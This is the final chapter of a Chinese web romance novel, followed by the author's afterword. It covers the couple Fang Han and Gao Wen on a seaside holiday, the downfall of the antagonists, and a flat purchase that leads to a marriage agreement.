方寒是事无巨细安排了，要不是高雯不好意思，她的行李都可以交给他来收拾，到了时间点，她出个人，由他带走就行。 两人这一次的目的地是东南亚某个海岛。 碧水蓝天，空气新鲜。 方寒订了海上度假屋，此时是旅游旺季，他只订到了一间双人房。 高雯并不觉得有什么问题，毕竟她无比信任方寒。 一下飞机，高雯的心情肉眼可见愉悦。 她带了泳衣和特别出片的衣服，给自己补了妆，带着方寒就往沙发走。 方寒继续当一个尽职尽责的摄影师，捕抓高雯美丽的瞬间。 在他的镜头里，她明媚动人，一颦一笑都带着灿烂笑意。 一直到太阳落山，两人才去了度假村的自助餐厅。 高雯穿的衣服很单薄，夜里海风大，方寒拿了件外套给她披上。 “也不是很冷。”高雯说。 方寒：“等你察觉到冷，估计都要着凉了，我们还要玩几天，保险点总没错。” “好吧。”高雯笑点头，她拿了个盘子，往前走，“我今天可以稍微吃点肉，下午运动量够了。” “可以。”方寒跟在她身后。 高雯停在水果面前，正在夹哈密瓜，突然听到身后传来一道稚嫩的声音：“爸爸——” 异国他乡，听到本国语言，高雯下意识回头。 她一回头，发现一个三四岁的小女孩跑到方寒身边，抱着他的大腿，不断叫着：“爸爸——抱抱——” 方寒也倏然一愣。 “爸爸，呜呜——”小女孩苦着脸，不断伸手，还哭了起来，“爸爸抱抱——” 餐厅内的人，纷纷望过来。 方寒看着哭得可怜兮兮的小女孩，将盘子放在一边，蹲下来把她抱起来，他还未问话，这个小女孩就抱住他的脖子，把头埋在他的肩膀上，奶声奶气道：“爸爸——” 高雯笑了：“你什么时候有这么大的女儿了？” 方寒满脸无奈，他闻声问小女孩：“你爸爸妈妈呢？” “你是爸爸。”小女孩说着，把方寒搂得更紧，还强调道，“我的爸爸。” 小女孩刚刚真哭出声，脸上还挂着眼泪，方寒走到一边抽了纸巾，小心翼翼给她擦眼泪。 “爸爸，要吃那个。”小姑娘被方寒抱着，伸手往哈密瓜一指。 “叔叔给你拿。” 方寒要把她放下来，她张开嘴巴就哭：“呜呜——要爸爸抱。” 高雯看着娇里娇气的小女孩，非但没觉得任性，还觉得有点可爱，可能小女孩长得太好看了，肉嘟嘟白嫩嫩的。 “给她喂一块吧。”高雯夹了一块哈密瓜，由方寒喂小女孩。 小家伙一直要方寒抱着，高雯找了一圈，都没看到小孩子的家长。 方寒耐心极好，一边抱着她，陪着高雯选食物。 高雯看着小姑娘，轻声问：“小朋友，你爸爸妈妈呢？” “我爸爸。”小姑娘指了指方寒，不仅把方寒抱住，还很依恋往方寒怀中靠。 高雯哭笑不得。 方寒被迫当爸，他动作虽然生疏，但细心温柔。 小姑娘缠了方寒好一会，一个中年女人才姗姗来迟，她看着被方寒抱着的女儿，连忙走过去道歉：“实在是麻烦了，谢谢你啊。” 她说着，就把小女孩抱过来，对女儿道：“和叔叔说谢谢。” “是爸爸，我爸爸。”小姑娘提高声音说。 中年女人一愣，赶紧解释道：“怎么是爸爸呢？爸爸在睡觉。” “我想要这个爸爸。”小女孩看着方寒，又看向中年女人，“要这个爸爸。” 中年女人看着方寒身高腿长，清秀阳光的气质，顿时更为尴尬，强调道：“爸爸怎么能选呢？爸爸在睡觉，你这样爸爸会伤心的。” 要死了。 女儿小小年纪，就遗传她色胚的性子，这要是让丈夫知道，破坏家庭和谐啊。 中年女人再一次跟方寒道谢，抱着女儿连忙走，隐约还能听到小女孩语气失落：“妈妈，要帅爸爸。” “不可以，不可以在爸爸面前这么说！” “为什么？那个爸爸帅。” “就是不可以！” 餐厅的事情，让高雯笑得不行。 吃晚餐的时候，她直勾勾看着方寒。 “怎么了？”方寒被看得不自在。 “我发现，你有当奶爸的潜质，”高雯说着吃了块鸡胸肉，“我不是这一次才发现的，上次去张妮姐家，我就发现了。” 他带张妮家女儿的时候，也带得特别好。 “这算夸奖吗？”方寒给高雯剥了虾，放在她碟子里。 “算是吧。” “谢谢。”方寒一点都不介意奶爸这个称呼。 高雯那么忙，他们如果有孩子的话，他可以照顾，她会放心一些。 当然，没有也没关系。 * 两人下午玩了一圈，高雯也累了，夜里就不再出游。 高雯洗了个澡，正在护肤。 海边太阳大，即使做了防晒也挡不住，高雯正在进行晒后补救，一层又一层涂着护肤品。 方寒洗澡出来时，高雯朝他招手：“过来。” “嗯？怎么了？”方寒问。 “你过来呀，”高雯再一次招手，“上次你醉酒的时候，我一招手，你就过来了。” 方寒：“” 他不免想到高雯拍下的照片，她可真是会存留证据。 高雯娇笑出声：“我给你涂点护肤品，护肤一下。” “我不用。”方寒摇头。 “今天晒了那么久，明天还得晒，说不定要脱皮，到时候你就不帅了。”高雯说完还道，“我们明天还得拍照呢，快点快点。” 方寒只能走过去。 高雯起身，让方寒坐下来。 看着桌子前的瓶瓶罐罐，方寒心里有不好的预感。 “等一下啊，先擦个水。”高雯挑了其中一瓶，倒在方寒脸上，护肤水清凉，他的身子缩了缩，她娇嫩柔软的手覆上来，一点点轻轻擦拭。 高雯离得近，她身上的清香往方寒的鼻翼里涌，他浑身紧绷，呼吸都屏住，喉结上下涌动，耳朵已经红得不行。 “再给你擦这个，”高雯拿出一瓶，在自己的手心挤了点，用指尖往方寒脸上点，然后用手指抹开。 方寒的耳边，除了高雯的声音，就是自己的心跳声。 她的每一次触摸，都让他心尖微微颤动，如同一股电流，酥酥麻麻席卷着全身，精神都抑制不住亢奋。 “我看看最后擦个什么。”高雯看着她满桌子的瓶瓶罐罐，挑选了其中一罐，笑着对方寒道，“擦完之后，你就是精致男孩。” 方寒放在身侧的手蜷缩，看着满脸堆笑的高雯，目光灼灼看着她。 他的视线太过于炙热，高雯伸手轻轻遮住他的眼，娇嗔道：“不许这么盯着我，我都不好意思了。” 两人离得近，方寒这么看着她，她心跳也在加速。 方寒浅笑，嗓音里带着细碎的温柔和宠溺，任由她折腾了。 夜里。 睡觉的时候，房间内的灯是全开着。 高雯和方寒一人睡一张床。 方寒还未从被高雯折腾一圈中平静下来，他躺在床上，闭着眼，抬手遮住刺眼的光线，默默平复自己急促错乱的呼吸。 倏然，“啪”的一声。 方寒猛地睁开眼，只见周围一片漆黑，他怕高雯害怕刚起身，就看到一个身影朝他快速扑来。 他张开手，稳稳将人抱住。 高雯躲在方寒怀里，轻声道：“我把灯关了。” “为什么？”方寒关心道，“你不是不习惯关灯睡觉吗？” “不是不习惯，是有点恐惧抗拒，”高雯躺下来，转身把方寒抱得更紧，“但我想确定一个事情。” “什么事？” 高雯声线清甜绵软：“如果和你一起睡，会不会就不害怕了？” 方寒心神微动，他伸手把被子往她身上盖，抱着她躺下来。 黑夜里，高雯感觉周身都是方寒的气息，好闻又安心。 她的额头被人温柔亲了下，方寒的手爱怜抚了抚她的发顶，一只手覆在她的后背，像是在哄三岁小孩子般一下又一下轻拍着：“睡吧。” “嗯” 高雯原本还想和方寒说说话来着，她的眼皮不知道什么时候开始打架，很快睡着了。 这一觉，一夜无梦，睡得特别踏实。 * 同年。 语禾瑜伽馆的新店开业。 高雯担任馆长，股份占比最大。 她的线上课程卖得火热，个人IP价值非常高。 姜舒妍被判刑了，一年十个月的实刑，宋洁也没落到什么好下场，姜传文上一次被踢出局，失去了收入来源，谁能想到，全国的工程项目被倒查，他早些年做了不少违规的事情，现在面临处罚。 姜家那位下了马，好多事情被翻出来，姜传文这种靠吸附的血虫，要连本带利吐出来，不 然就免不得牢狱之灾。 这些年，姜传文在女人身上挥霍不少钱，赔完后，距离穷光蛋不远了，这个时候，他连生个儿子传宗接代都没心思了，更别提宋洁那两母女。 房子车子被卖，宋洁被赶了出来。 她哭得不知道往哪哭，拿着高父赔偿金卖了房子来到A市，不仅没得到好的生活，还生了一个年幼的女儿，如今还得养。 宋洁看着光鲜亮丽的高雯，悔不当初，未来的路，她摆明是有吃不完的苦头。 如果，如果—— 可惜没如果。 高雯去分店当馆长后，附近正好开发一个新楼盘。 方寒想要买一套，他看中的是一套顶层复式，总面积是六百八十平方，不仅有大阳台，还有大露台。 高雯和方寒一起去看房，房子她挺满意，是她梦想情房。 但是在购房方式上两人出现意见不统一，方寒准备全款买，并且写高雯一个人的名字。 方寒说得有理有据：“我名下没有购房资格，你是引进的高层次人才，这两年政策有所宽松，我查过了，你可以购房。” 他的名下房子和铺面太多，不可能再多一套了。 “那么多钱，你不怕啊？”高雯说完提醒他，“我们现在只是恋爱关系。” “不怕啊，”方寒笑了，他走过去拉高雯的手，温柔注视她，“就买你喜欢的，装成你喜欢的样子。” “万一，你骗我呢？”高雯突然说。 “我怎么会骗你？”方寒着急解释，“我不会骗你——” 高雯：“万一呢？那么多钱。” 方寒斟酌了下，看着高雯试探性开口：“要不，买了房，我们就去领证，出了事，我们一起担着。” 闻言，高雯回头望向方寒，她那双眼睛极亮，水汪汪又清澈。 方寒杵着身子，内心多少有些忐忑心虚。 “好啊。”高雯一双杏眼弯成月牙儿，笑容明艳，一口答应下来。 那一刻，方寒大脑像是断了片，呼吸凝固，一股热血直涌心脏冲上头顶—— 作者有话说：正文完结啦。 不过这本书的番外会长一点。 会有婚后番外，还有你们想看的两人穿到前世番外，还有一个作者想写的前一世方寒找到了正在苦苦挣扎的高雯，发生的一些事情。 大家可以选择看。 这本书更新到正文完结，作者算是狠狠松了一口气，因为写习惯了快穿，也是第一次尝试写短篇，写到中途的时候经常卡文，坐到电脑面前常常想哭，大概是因为我太喜欢这两个角色，总为自己不能更好的把他们诠释出来而倍感无力焦灼，但我的笔力只能如此啦，虽不完美，但也算顺利完结，希望以后能给大家呈现更好的故事。 感谢大家的陪伴，鞠躬致谢。 明天开始更新番外哦。